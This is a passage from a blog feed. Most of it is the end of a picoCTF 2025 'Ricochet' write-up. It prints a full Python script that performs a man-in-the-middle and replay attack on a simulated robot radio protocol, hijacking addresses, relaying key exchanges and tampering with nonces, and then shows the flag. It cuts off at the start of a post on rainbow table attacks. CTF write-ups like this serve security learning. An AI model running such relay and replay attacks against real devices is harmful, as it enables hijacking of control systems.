Python program to execute was as below:</p><pre># The Python program for carrying out the exploit.<br><br>import requests<br>import time<br>import hashlib<br>import monocypher<br>import os<br>import json<br><br><br># Returns a list of messages seen on the air since the last time this function<br># was called<br>def receive_radio_messages(SERVER_URL):<br>    msg_group = []<br>    messages = requests.get(SERVER_URL+&quot;/radio_rx&quot;).json()<br>    <br>    for msg in messages:<br>        print(&quot;\nDEBUG: Received message&quot;, msg)<br>        msg_group.append(msg)<br>        <br>    return msg_group<br><br># [message] argument should be a Python dict object<br>def inject_radio_message(SERVER_URL, message):<br>    requests.post(SERVER_URL+&quot;/radio_tx&quot;, json=message)<br><br>def start_robot(SERVER_URL):<br>    requests.get(SERVER_URL+&quot;/start&quot;)<br><br>def stop_robot(SERVER_URL):<br>    requests.get(SERVER_URL+&quot;/stop&quot;)<br><br># Get the location of the robot and the obstacles on the grid<br>def get_board_state(SERVER_URL):<br>    return requests.get(SERVER_URL+&quot;/state&quot;).json()<br><br>def compute_hmac(message, nonce, key):<br>    hmac = (message + str(nonce) + key.hex()).encode()<br>    for _ in range(32):<br>        hmac = monocypher.blake2b(hmac + key)<br>    return monocypher.blake2b(hmac)<br><br>def add_hmac(message, nonce, key):<br>    hmac = compute_hmac(message, nonce, key)<br>    return {&quot;message&quot;: message, &quot;nonce&quot;: nonce, &quot;hmac&quot;: hmac.hex()}<br><br>def encrypt(message, key):<br>    key = monocypher.blake2b(key)[:32]<br>    nonce = os.urandom(24)<br>    tag, ciphertext = monocypher.lock(key, nonce, message.encode())<br>    return ciphertext.hex() + &quot;;&quot; + tag.hex() + &quot;;&quot; + nonce.hex()<br><br>def decrypt(message, key):<br>    key = monocypher.blake2b(key)[:32]<br>    ciphertext, tag, nonce = message.split(&quot;;&quot;)<br>    plaintext = monocypher.unlock(key, bytes.fromhex(nonce), bytes.fromhex(tag), bytes.fromhex(ciphertext))<br>    return plaintext<br><br>def initialization(server, robot_addr, controller_addr, new_controller_addr, my_priv_key):<br>    # Checking whether Robot and Controller are online.<br>    ping_robot = {<br>        &quot;msg_type&quot;: &quot;ping&quot;,<br>        &quot;src&quot;: controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>    }<br><br>    ping_controller = {<br>        &quot;msg_type&quot;: &quot;ping&quot;,<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: controller_addr,<br>    }<br><br>    # Sending messages.<br>    inject = inject_radio_message(server, ping_robot)<br>    time.sleep(1)<br>    inject = inject_radio_message(server, ping_controller)<br>    time.sleep(1)<br><br>    # Reading output.<br>    print(&quot;Confirming that both Robot and Controller are online.&quot;)<br>    msg_recv = receive_radio_messages(server)<br>        <br>    # Set new addr for controller to conduct MITM attack.<br>    set_new_addr = {<br>        &quot;msg_type&quot;: &quot;set_addr&quot;,<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: controller_addr,<br>        &quot;new_addr&quot;: new_controller_addr,<br>    }<br><br>    # Sending message.<br>    inject = inject_radio_message(server, set_new_addr)<br>    time.sleep(1)<br><br>    # Reading output.<br>    print(&quot;\nChanging Controller&#39;s address to 0x30.&quot;)<br>    msg_recv = receive_radio_messages(server)<br><br>    # Checking the new address of Controller.<br>    ping_controller = {<br>        &quot;msg_type&quot;: &quot;ping&quot;,<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>    }<br><br>    # Sending message.<br>    inject = inject_radio_message(server, ping_controller)<br>    time.sleep(1)<br><br>    # Reading output.<br>    print(&quot;\nConfirming that Controller&#39;s address is changed.&quot;)<br>    msg_recv = receive_radio_messages(server)<br>    <br>    # Start the Robot.<br>    print(&quot;\nStarting robot...&quot;)    <br>    start_robot(server)<br>    time.sleep(1)<br><br>    # Reading output. Extracting challenge key.<br>    msg_recv = receive_radio_messages(server)<br>    <br>    # Extracting challenge validation key.<br>    challenge = msg_recv[0][&#39;challenge&#39;]<br>    print(&quot;\nChallenge validation key sent from Robot:&quot;, challenge)<br>    print()<br><br>    # Validating robot authenticty.<br>    validate_msg = {<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;msg_type&quot;: &quot;validate&quot;,<br>        &quot;challenge&quot;: challenge<br>    }<br><br>    # Sending message.<br>    inject = inject_radio_message(server, validate_msg)<br>    time.sleep(1)<br>    <br>    # Reading output. Extracting Robot&#39;s public key.<br>    msg_recv = receive_radio_messages(server)<br><br>    # Robot&#39;s public key.<br>    robot_dh_pub_key = msg_recv[2][&#39;key&#39;]<br>    print(&quot;\nRobot&#39;s public key:&quot;, robot_dh_pub_key)<br>    <br>    # The &quot;ack_key_exchange&quot; message for Robot.<br>    ack_key_exchange = {<br>        &quot;msg_type&quot;: &quot;ack_key_exchange&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;key&quot;: monocypher.compute_key_exchange_public_key(my_priv_key).hex()<br>    }<br><br>    my_dh_pub_key_robot = ack_key_exchange[&#39;key&#39;]<br>    print(&quot;\nMy public key sent to Robot:&quot;, my_dh_pub_key_robot)<br><br>    # Construct my shared key with Robot.<br>    shared_key_robot = monocypher.key_exchange(my_priv_key, bytes.fromhex(robot_dh_pub_key))<br>    print(&quot;\nMy shared key with Robot:&quot;, shared_key_robot.hex())<br><br>    # Sending message.<br>    inject = inject_radio_message(server, ack_key_exchange)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = receive_radio_messages(server)<br><br>    # Decrypting the secure_data message from Robot.<br>    msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    return msg_robot_dec, shared_key_robot<br><br>def get_shared_key_controller(server, dummy_robot_addr, new_controller_addr, my_priv_key):<br>    # The &quot;key_exchange&quot; message for Controller.<br>    key_exchange = {<br>        &quot;msg_type&quot;: &quot;key_exchange&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;key&quot;: monocypher.compute_key_exchange_public_key(my_priv_key).hex()<br>    }<br><br>    my_dh_pub_key_controller = key_exchange[&#39;key&#39;]<br>    print(&quot;\nMy public key sent to Controller:&quot;, my_dh_pub_key_controller)<br><br>    # Sending message.<br>    inject = inject_radio_message(server, key_exchange)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = receive_radio_messages(server)<br><br>    # Controller&#39;s public key.<br>    controller_dh_pub_key = msg_recv[0][&#39;key&#39;]<br>    print(&quot;\nController&#39;s public key:&quot;, controller_dh_pub_key)<br><br>    # Construct my shared key with Controller.<br>    shared_key_controller = monocypher.key_exchange(my_priv_key, bytes.fromhex(controller_dh_pub_key))<br>    print(&quot;\nMy shared key with Controller:&quot;, shared_key_controller.hex())<br><br>    return shared_key_controller<br><br>def send_recv_msg(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr):    <br>    # Re-encrypt the decrypted message from Robot to send it to Controller.<br>    msg_robot_reenc = encrypt(json.dumps(msg_robot_dec), shared_key_controller)<br><br>    # Sending secure_data from Robot to Controller.<br>    secure_data = {<br>        &quot;msg_type&quot;: &quot;secure_data&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;encrypted&quot;: msg_robot_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Robot to Controller...&quot;)<br>    inject = inject_radio_message(server, secure_data)<br>    time.sleep(1)<br><br>    # Reading output. Running a while loop until msg is available as, sometimes, there is latency.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br>    <br>    # Decrypt message back from Controller.<br>    msg_controller_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_controller_dec = json.loads(decrypt(msg_controller_enc, shared_key_controller).decode())<br>    print(&quot;\nDecrypted message from Controller:&quot;, msg_controller_dec)<br><br>    # Re-encrypt the decrypted message from Controller to send it to Robot.<br>    msg_controller_reenc = encrypt(json.dumps(msg_controller_dec), shared_key_robot)<br>    secure_data_ack = {<br>        &quot;msg_type&quot;: &quot;secure_data_ack&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;encrypted&quot;: msg_controller_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Controller to Robot...&quot;)<br>    inject = inject_radio_message(server, secure_data_ack)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Robot.<br>    msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    # Re-encrypt the decrypted message from Robot to send it to Controller.<br>    msg_robot_reenc = encrypt(json.dumps(msg_robot_dec), shared_key_controller)<br>    secure_data_request = {<br>        &quot;msg_type&quot;: &quot;secure_data_request&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;encrypted&quot;: msg_robot_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Robot to Controller...&quot;)<br>    inject = inject_radio_message(server, secure_data_request)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Controller.<br>    msg_controller_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_controller_dec = json.loads(decrypt(msg_controller_enc, shared_key_controller).decode())<br>    print(&quot;\nDecrypted message from Controller:&quot;, msg_controller_dec)<br><br>    # Re-encrypt the decrypted message from Controller to send it to Robot.<br>    msg_controller_reenc = encrypt(json.dumps(msg_controller_dec), shared_key_robot)<br>    secure_data_response = {<br>        &quot;msg_type&quot;: &quot;secure_data_response&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;encrypted&quot;: msg_controller_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Controller to Robot...&quot;)<br>    inject = inject_radio_message(server, secure_data_response)<br><br>    # Reading output.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Robot.<br>    msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)        <br>        <br>    return msg_robot_dec<br><br>def send_recv_response_msg(msg_controller_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr):<br>    # This function sends only secure_data_response messages.<br>    # Encrypting decrypted secure_data_response message to send to Robot.<br>    msg_controller_reenc = encrypt(json.dumps(msg_controller_dec), shared_key_robot)<br>    secure_data_response = {<br>        &quot;msg_type&quot;: &quot;secure_data_response&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;encrypted&quot;: msg_controller_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Controller to Robot...&quot;)<br>    inject = inject_radio_message(server, secure_data_response)<br><br>    # Reading output.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Robot.<br>    msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    return msg_robot_dec<br><br>def send_recv_blank_msg(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr):<br>    # Re-encrypt the decrypted message from Robot to send it to Controller.<br>    msg_robot_reenc = encrypt(json.dumps(msg_robot_dec), shared_key_controller)<br>    secure_data_request = {<br>        &quot;msg_type&quot;: &quot;secure_data_request&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;encrypted&quot;: msg_robot_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Robot to Controller...&quot;)<br>    inject = inject_radio_message(server, secure_data_request)<br>    time.sleep(1)<br><br>    # Reading output. Running a while loop until msg is available as, sometimes, there is latency.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br>    <br>    # Decrypt message back from Controller.<br>    msg_controller_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_controller_dec = json.loads(decrypt(msg_controller_enc, shared_key_controller).decode())<br>    print(&quot;\nDecrypted message from Controller:&quot;, msg_controller_dec)<br><br>    # Re-encrypt the decrypted message from Controller to send it to Robot.<br>    msg_controller_reenc = encrypt(json.dumps(msg_controller_dec), shared_key_robot)<br>    secure_data_response = {<br>        &quot;msg_type&quot;: &quot;secure_data_response&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;encrypted&quot;: msg_controller_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Controller to Robot...&quot;)<br>    inject = inject_radio_message(server, secure_data_response)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Robot.<br>    msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    return msg_robot_dec<br><br>def invalid_msg(server, shared_key_robot, robot_addr, new_controller_addr):<br>    # This function sends an invalid secure_data_ack message to Robot to tamper nonce count.<br>    invalid_msg = encrypt(json.dumps(add_hmac(&quot;&quot;, 99, shared_key_robot)), shared_key_robot)<br>    secure_data_ack = {<br>        &quot;msg_type&quot;: &quot;secure_data_ack&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;encrypted&quot;: invalid_msg<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending invalid message to Robot...&quot;)<br>    inject = inject_radio_message(server, secure_data_ack)<br>    time.sleep(1)<br><br>    # Reading output. Running a while loop until msg is available as, sometimes, there is latency.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Robot.<br>    msg_robot_enc = msg_recv[1][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    return msg_robot_dec<br><br>def send_secure_data_msg(msg_robot_dec, server, shared_key_controller, dummy_robot_addr, new_controller_addr):<br>    # This function just sends secure_data message.<br>    # Re-encrypt the decrypted message from Robot to send it to Controller.<br>    msg_robot_reenc = encrypt(json.dumps(msg_robot_dec), shared_key_controller)<br><br>    # Sending secure_data from Robot to Controller.<br>    secure_data = {<br>        &quot;msg_type&quot;: &quot;secure_data&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;encrypted&quot;: msg_robot_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Robot to Controller...&quot;)<br>    inject = inject_radio_message(server, secure_data)<br>    time.sleep(1)<br><br>    # Reading output. Running a while loop until msg is available as, sometimes, there is latency.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br>    <br>    # Decrypt message back from Controller.<br>    msg_controller_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_controller_dec = json.loads(decrypt(msg_controller_enc, shared_key_controller).decode())<br>    print(&quot;\nDecrypted message from Controller:&quot;, msg_controller_dec)<br><br>def send_secure_data_request_msg(msg_robot_dec, server, shared_key_controller, dummy_robot_addr, new_controller_addr):<br>    # This function just sends secure_data_request message.<br>    # Re-encrypt the decrypted message from Robot to send it to Controller.<br>    msg_robot_reenc = encrypt(json.dumps(msg_robot_dec), shared_key_controller)<br>    secure_data_request = {<br>        &quot;msg_type&quot;: &quot;secure_data_request&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;encrypted&quot;: msg_robot_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Robot to Controller...&quot;)<br>    inject = inject_radio_message(server, secure_data_request)<br>    time.sleep(1)<br><br>    # Reading output. Running a while loop until msg is available as, sometimes, there is latency.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br>    <br>    # Decrypt message back from Controller.<br>    msg_controller_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_controller_dec = json.loads(decrypt(msg_controller_enc, shared_key_controller).decode())<br>    print(&quot;\nDecrypted message from Controller:&quot;, msg_controller_dec)<br><br>def main():<br>    # Initialization of SERVER_URL and PORT.<br>    PORT = int(input(&quot;Enter PORT: &quot;))<br>    server = &quot;http://activist-birds.picoctf.net:&quot; + str(PORT) + &quot;/&quot;<br><br>    # Initialization of variables.<br>    robot_addr = 0x20<br>    controller_addr = 0x10<br>    new_controller_addr = 0x30<br>    dummy_robot_addr = 0x40<br>    my_priv_key = os.urandom(32)<br>    secure_data_response_msg = [  <br>        {&#39;message&#39;: &#39;east&#39;, &#39;nonce&#39;: 9, &#39;hmac&#39;: &#39;68acec63858082f927a8cfdd9d80ee97350c7a2b80039feddfbdc9c985872c1cc2a737605ce876c3a57cac8d1b2b448225a097606ffa1286acf5ed900122d59c&#39;},   <br>        {&#39;message&#39;: &#39;north&#39;, &#39;nonce&#39;: 15, &#39;hmac&#39;: &#39;df72b2cee9b3adfcc1e679c52117903d0dd8b0c6e64ef1e4d1aeb5f105a89478d6b968a68ddf5ffacece4d272aa534ae70c6cca586c81286dfb575fdd3d77c4a&#39;},    <br>        {&#39;message&#39;: &#39;west&#39;, &#39;nonce&#39;: 21, &#39;hmac&#39;: &#39;864908816ef3587ced6ff2f05ecea00bef68714b42731bda601f2a754e8693f971933578bd3c462afa5c6aa6331d5f9deec107f32cea915bd0e971ebbc6bd552&#39;},   <br>        {&#39;message&#39;: &#39;south&#39;, &#39;nonce&#39;: 27, &#39;hmac&#39;: &#39;4f47e7533e3d6f3ab06b05b39cf671a470f647fdb0fae352142c75c5740407555ce4ba54e04b5d15f5aabe6078b06c73406d9272b839a5c90586b9be26d4663a&#39;},  <br>        {&#39;message&#39;: &#39;east&#39;, &#39;nonce&#39;: 33, &#39;hmac&#39;: &#39;0cce9220c171b95706f195e9bc33d4ccb9fd0338d7c204f635e940120b0c943c6e52d42e37dddae123a2a3e3899b7709214e6b473edc5b742894463d1957a56b&#39;}<br>    ]<br>    blank_msg = [ <br>        {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 10, &#39;hmac&#39;: &#39;d68a8e431b1e9cdd2dca36e199ffa2d709b3e1f919169a181a2e4c3cf4ea0fa1a7643d7b4800e750070a913c2cea887642f11333ee8327cc6771e0820db5e819&#39;}, <br>        {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 11, &#39;hmac&#39;: &#39;f0b1294eaab43e02573fe88a8fc009f494e3da3b586f63b2239ddd3618a336153b87cc4bd88b78a226ea23acc9d4bc4499cf30c88458eeb4877f7e28795c3f5f&#39;}<br>    ]<br><br>    # Initilization process for validating robot and exchanging keys.<br>    msg_robot_dec, shared_key_robot = initialization(server, robot_addr, controller_addr, new_controller_addr, my_priv_key)<br><br>    # Establishing a shared key with controller.<br>    shared_key_controller = get_shared_key_controller(server, dummy_robot_addr, new_controller_addr, my_priv_key)<br><br>    # First go east then south.<br>    for i in range(2):    <br>        msg_robot_dec = send_recv_msg(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending invalid message to Robot to tamper nonce values.<br>    msg_robot_dec = invalid_msg(server, shared_key_robot, robot_addr, new_controller_addr)<br><br>    # Sending and receiving blank messages to increase nonce.<br>    for i in range(5):<br>        msg_robot_dec = send_recv_blank_msg(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending one more secure_data_request to Controller to match nonce with Robot.<br>    send_secure_data_request_msg(msg_robot_dec, server, shared_key_controller, dummy_robot_addr, new_controller_addr)<br><br>    # Sending send_data_response to move robot &#39;east&#39;.<br>    msg_controller_dec = secure_data_response_msg[0]<br>    msg_robot_dec = send_recv_response_msg(msg_controller_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending one secure_data_ack to Controller to match nonce with Robot and pass &#39;west&#39;.<br>    send_secure_data_msg(msg_robot_dec, server, shared_key_controller, dummy_robot_addr, new_controller_addr)<br><br>    # Sending invalid message to Robot to tamper nonce values.<br>    msg_robot_dec = invalid_msg(server, shared_key_robot, robot_addr, new_controller_addr)<br><br>    # Sending blank secure_data_response to increase nonce.<br>    msg_controller_dec = blank_msg[0]    <br>    msg_robot_dec = send_recv_response_msg(msg_controller_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending one more secure_data_request to Controller to match nonce with Robot.<br>    send_secure_data_request_msg(msg_robot_dec, server, shared_key_controller, dummy_robot_addr, new_controller_addr)<br><br>    # Sending blank secure_data_response to increase nonce.<br>    msg_controller_dec = blank_msg[1]    <br>    msg_robot_dec = send_recv_response_msg(msg_controller_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending and receiving blank messages to increase nonce.<br>    for i in range(3):<br>        msg_robot_dec = send_recv_blank_msg(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending one more secure_data_request to Controller to match nonce with Robot.<br>    send_secure_data_request_msg(msg_robot_dec, server, shared_key_controller, dummy_robot_addr, new_controller_addr)<br><br>    # Sending send_data_response to move robot &#39;north&#39;.<br>    msg_controller_dec = secure_data_response_msg[1]<br>    msg_robot_dec = send_recv_response_msg(msg_controller_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending invalid message to Robot to tamper nonce values.<br>    msg_robot_dec = invalid_msg(server, shared_key_robot, robot_addr, new_controller_addr)<br><br>    # Sending and receiving blank messages to increase nonce.<br>    for i in range(5):<br>        msg_robot_dec = send_recv_blank_msg(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending one more secure_data_request to Controller to match nonce with Robot.<br>    send_secure_data_request_msg(msg_robot_dec, server, shared_key_controller, dummy_robot_addr, new_controller_addr)<br><br>    # Sending send_data_response to move robot &#39;west&#39;.<br>    msg_controller_dec = secure_data_response_msg[2]<br>    msg_robot_dec = send_recv_response_msg(msg_controller_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending invalid message to Robot to tamper nonce values.<br>    msg_robot_dec = invalid_msg(server, shared_key_robot, robot_addr, new_controller_addr)<br><br>    # Sending and receiving blank messages to increase nonce.<br>    for i in range(5):<br>        msg_robot_dec = send_recv_blank_msg(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending one more secure_data_request to Controller to match nonce with Robot.<br>    send_secure_data_request_msg(msg_robot_dec, server, shared_key_controller, dummy_robot_addr, new_controller_addr)<br><br>    # Sending send_data_response to move robot &#39;south&#39;.<br>    msg_controller_dec = secure_data_response_msg[3]<br>    msg_robot_dec = send_recv_response_msg(msg_controller_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending invalid message to Robot to tamper nonce values.<br>    msg_robot_dec = invalid_msg(server, shared_key_robot, robot_addr, new_controller_addr)<br><br>    # Sending and receiving blank messages to increase nonce.<br>    for i in range(5):<br>        msg_robot_dec = send_recv_blank_msg(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Sending one more secure_data_request to Controller to match nonce with Robot.<br>    send_secure_data_request_msg(msg_robot_dec, server, shared_key_controller, dummy_robot_addr, new_controller_addr)<br><br>    # Sending send_data_response to move robot &#39;east&#39;.<br>    msg_controller_dec = secure_data_response_msg[4]<br>    msg_robot_dec = send_recv_response_msg(msg_controller_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Finally, go &#39;north&#39;, &#39;east&#39;, &#39;south&#39;.<br>    for i in range(6):    <br>        msg_robot_dec = send_recv_msg(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr)<br><br>    # Print Robot state.<br>    result = get_board_state(server)<br>    print(&quot;\nResult:&quot;, result)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>The final output printed the <strong><em>flag:</em></strong><em> picoCTF{r1gh7_84ck_47_y4_cb667ec6}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BQ2Bi58_6UnMQSD6KAu9qg.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dYsEoeJ0OlZ6jc7ihSG5cA.jpeg" /></figure><blockquote><strong>Some unsuccessful trials</strong></blockquote><p>Before arriving at the working solution above, I had to go through a few trials of ineffective methods.</p><p>The first method I tried was initiating at least 2 simultaneous tasks of sending and receiving messages between the robot and controller. I expected that maybe it would process one message, and then quickly process another message, which might end up skipping some direction values.</p><p>For example, with one task running and another same task running in the background, while the robot was processing one message to move “west,” the other task could cause the robot to skip over the next few directions. By the time the robot was able to process another message, it would receive a direction other than the “next” direction.</p><p>However, this did not work. The robot would invalidate any message that did match its HMAC value.</p><p>The second method I tried was brute forcing to figure out the HSK. However, this method also did not work as the possibilities were endless for a 32-byte key. I was hoping that picoCTF made it easy to find by setting it as one of the first few values or the last few values of a 32-byte long value.</p><p>The last method I tried was scanning with Burpsuite. I thought that, maybe, the HSK was hidden in one of the HTML/CSS or Javascript files. But this was not the case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*itoEIL-vybu3OQiobN9RQg.jpeg" /></figure><blockquote><strong>Reflection</strong></blockquote><p>Overall, this was an awesome challenge! It really made me think inside-out, over-and-under. And again, as mentioned in my last post, <a href="https://medium.com/system-weakness/guess-my-cheese-part-2-picoctf-2025-brute-force-attack-0fc397004822">Guess My Cheese (Part 2)</a>, the system was breakable through sheer persistence. I saw that, given enough time, an attacker could pretty much break into any system if persistent enough. It made me wonder about the importance of ensuring to constantly update computer systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tosgTWsQTPRVLZ3_Na6pxA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb47375fb7db" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/ricochet-picoctf-2025-mitm-replay-attack-bb47375fb7db">Ricochet — picoCTF 2025 — MITM Replay Attack</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guess My Cheese (Part 2) — picoCTF 2025 — Brute Force Attack]]></title>
            <link>https://systemweakness.com/guess-my-cheese-part-2-picoctf-2025-brute-force-attack-0fc397004822?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/0fc397004822</guid>
            <category><![CDATA[rainbow-tables]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[brute-force-attack]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[guess-my-cheese]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Tue, 06 May 2025 08:52:33 GMT</pubDate>
            <atom:updated>2025-05-10T23:14:38.745Z</atom:updated>
            <content:encoded><![CDATA[<h3>Guess My Cheese (Part 2) — picoCTF 2025 — Brute Force Attack</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VjOiG1w36ILsk-onjFLD3g.jpeg" /></figure><p>After solving <a href="https://medium.com/system-weakness/guess-my-cheese-part-1-picoctf-2025-affine-cipher-72df5b3a5f1e">Guess My Cheese (Part 1)</a>, I felt obligated to solve the sequel challenge. I thought it was going to be another cryptography problem, possibly one of square rooting or discrete logarithm, but it was about hashing, i.e. SHA256 hashing.</p><p>I guess hashing would be considered a part of the broader cryptography family, but in my mind, true cryptography was something that could be decrypted.</p><p>SHA256 hashing was an irreversible algorithm that would only encrypt a message, and it would typically be used for obfuscation purposes. For example, to securely store a file that contained a list of all the passwords, each password would be hashed then stored rather than in its original form. So, even if the file were to be compromised, the attacker would still not know the passwords.</p><p>But there was a way to figure out the stored value in its original form even after hashing, and that was a <em>rainbow table attack</em>. A <em>rainbow table attack</em> was basically where the attacker would use a precomputed list of hash values to match the hash in question and figure out the original value. And conducting this 